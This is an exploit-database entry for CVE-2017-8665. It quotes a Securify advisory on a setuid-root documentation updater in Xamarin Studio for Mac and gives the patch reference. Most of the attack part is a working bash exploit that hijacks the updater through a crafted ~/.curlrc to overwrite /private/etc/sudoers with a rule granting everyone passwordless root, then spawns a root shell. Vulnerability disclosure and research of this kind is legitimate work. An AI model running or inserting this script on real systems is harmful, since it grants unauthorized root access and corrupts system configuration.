Materialized exploit

CVE-2017-8665

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB local macos Verified

Source

Xamarin Studio for Mac 6.2.1 (build 3) / 6.3 (build 863) - Local Privilege Escalation

By Securify

How to test this exploit

Local exploit. Run on a vulnerable install in a throwaway VM and verify the privilege escalation.

Code txt

Source: https://www.securify.nl/advisory/SFY20170403/xamarin-studio-for-mac-api-documentation-update-affected-by-local-privilege-escalation.html

Abstract

Xamarin Studio is an Integrated Development Environment (IDE) used to create iOS, Mac and Android applications. Xamarin Studio supports developments in C# and F# (by default). The API documentation update mechanism of Xamarin Studio for Mac is installed as setuid root. This update mechanism contains several flaws that could be leveraged by a local attacker to gain elevated (root) privileges.

Tested versions

This issue was successfully verified on Xamarin Studio for Mac version 6.2.1 (build 3) and version 6.3 (build 863).

Fix

Microsoft released a new version of Xamarin.iOS that addresses this issue:
- Security update for the elevation of privilege vulnerability for Xamarin.iOS: August 14, 2017 (4037359)

#!/bin/bash
# WARNING: this scripts overwrites ~/.curlrc and /private/etc/sudoers (when successful)
#target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.6.0.10/share/doc/MonoTouch/apple-doc-wizard
target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.8.0.175/share/doc/MonoTouch/apple-doc-wizard
rm -rf ~/Library/Developer/Shared/Documentation/DocSets

cat << __EOF > /private/tmp/sudoers
%everyone   ALL=(ALL) NOPASSWD: ALL
__EOF

cat << __EOF > ~/.curlrc
url=file:///private/tmp/sudoers
output=/private/etc/sudoers
__EOF

echo
echo "*** press CRL+C when the download starts ***"
$target
echo

sudo -- sh -c 'rm -rf /private/tmp/ios-docs-download.*; su -'

rm -f /private/tmp/sudoers ~/.curlrc